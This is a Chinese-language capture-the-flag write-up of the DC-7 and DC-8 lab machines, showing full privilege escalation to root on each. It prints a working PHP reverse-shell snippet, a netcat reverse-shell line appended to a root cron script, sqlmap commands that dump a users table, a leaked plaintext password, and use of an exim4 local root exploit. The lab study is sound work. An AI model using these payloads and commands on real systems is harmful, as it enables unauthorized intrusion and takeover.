【DC系列07】DC-7靶机复盘
今天刚投递了护网的简历,有点开心,最近几个月每天早9到晚上11点除了吃饭睡午觉都在学习,网络安全真的要学习的知识太多了,给自己加把劲,希望自己可以面上护网,期待努力后的自己。
靶机下载地址:https://www.five86.com/downloads.html
这个靶机同样是直接给ip的
这个靶机在进入shell前是没有破绽的,并且进入主页面以后也并没有什么漏洞。如果不搜索一下这个靶机的解法很难去下一步操作。
在github.com上搜索dc7user然后选择code,里面可以找到dc7一个远程登陆的密码。
这个靶机应该就是想表达的就是源代码泄露漏洞,让你自己去搜索一些信息。
同时我们利用dirsearch -u http://192.168.102.148扫描一下这个网站,发现一个登陆界面。
$username = "dc7user";
$password = "MdR3xOgB7#dW";
远程登陆上以后发现一个mbox文件,打开发现这里面其实指向了一个文件,就是/opt/scripts/backups.sh文件,并且是每隔15分钟运行一次
我们查看一下这个文件,发现这是个root文件,并且www-data组的用户拥有全部权限。
我们进入backups.sh的目录cat一下,发现里面执行了一些代码。
同时我们在/var/mail下发现一个dc7user文件,这个文件显示了backups.sh每次执行的时间,每隔15分钟执行一次,并且发现了backup.sh执行的其他代码。
backup.sh每次执行的时候里面会运行一个drush命令,这个命令可以对drupal搭建的网站进行用户密码修改,我们可以利用重置密码这里来爆破用户名,当用户名正确的时候会发送电子邮件。
确认用户名是admin时候可以直接利用drush进行一个密码修改,然后我们再登陆。
登陆后发现唯一可以写代码的地方不支持php代码,我们就想着装个php插件,让可以运行php代码。
在Manage--Extend--List下面可以添加插件,这里面找了找没有关于php的插件,就需要我们自己从网上找到来添加。
这是一个插件的地址,输入就可以了。
下载地址:https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz
点击Install(安装)就按照成功了。
再搜索PHP就找到PHP插件了,再点击Install。
返回Manage--Content再点击Edit。
发现这个可以插入代码的框框就可以输入PHP代码了,这时候我们插入一个PHP反弹shell。
<?php
$ip='192.168.102.129';
$port='8888';
$sock = fsockopen($ip,$port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>
添加保存成功后再点击运行一下这个页面,反弹shell就成功启动了。
这时候我们就进入到了www-data的shell下,找到刚才的backups.sh文件,往里面追加一条反弹shell。然后等待这个文件下次自己运行,如果自己运行就是以root权限运行的,返回的shell就是root权限的shell,而如果我们自己运行就是普通账户运行的,是不能返回root权限的。
echo "nc -e /bin/bash 192.168.102.129 8888“ >> backups.sh
我们可以看到上次运行时间是22:15分,等到22:30就自动运行backups.sh这个文件了,我们也成功返回了root权限。
【DC系列08】DC-8靶机复盘
靶机下载地址:https://www.five86.com/downloads.html
同样打开靶机后靶机进行一个扫描查找。
扫描到ip后进行一个单独的扫描。
再扫描一下目录,这里有一个登陆界面,等会儿会用上。
sqlmap -u "http://192.168.102.150/?nid=2" --batch --dbs
再对发现的数据库中的表进行一个扫描。
sqlmap -u "http://192.168.102.150/?nid=2" --batch -D d7db --tables
发现有个users表,列出来里面的条目。
sqlmap -u "http://192.168.102.150/?nid=2" --batch -D d7db -T users --columns
有一个名称和密码,我们单独提取出来
sqlmap -u "http://192.168.102.150/?nid=2" --batch -D d7db -T users -C "name,pass" --dump
admin爆破不出来密码,john用户可以爆破出来密码。
利用john工具爆破出john的密码是turtle
然后登陆一下刚才扫描到的登陆网页。
登陆后在网页中找了一圈,发现有一个可以注入PHP代码的地方。
我们在这里面写一个反弹shell,反弹到我们自己的kali中去。
然后提交以下表单。
kali上就拿到了一个web shell权限。
然后利用find / -perm -u=s -type f 2>/dev/null
查找以下有权限的文件,发现 有个exim4
再version以下,看看exim4的版本号。
kali中搜索以下这个版本的漏洞,发现有一个合适的。。
我们下载下来并传到靶机中去。
cat了以下46996.sh发现有两种方法可以提权,我两种都用了一遍。
第一种:./46996.sh -m setuid
第二种:./46996.sh -m netcat
这样就提权成功了。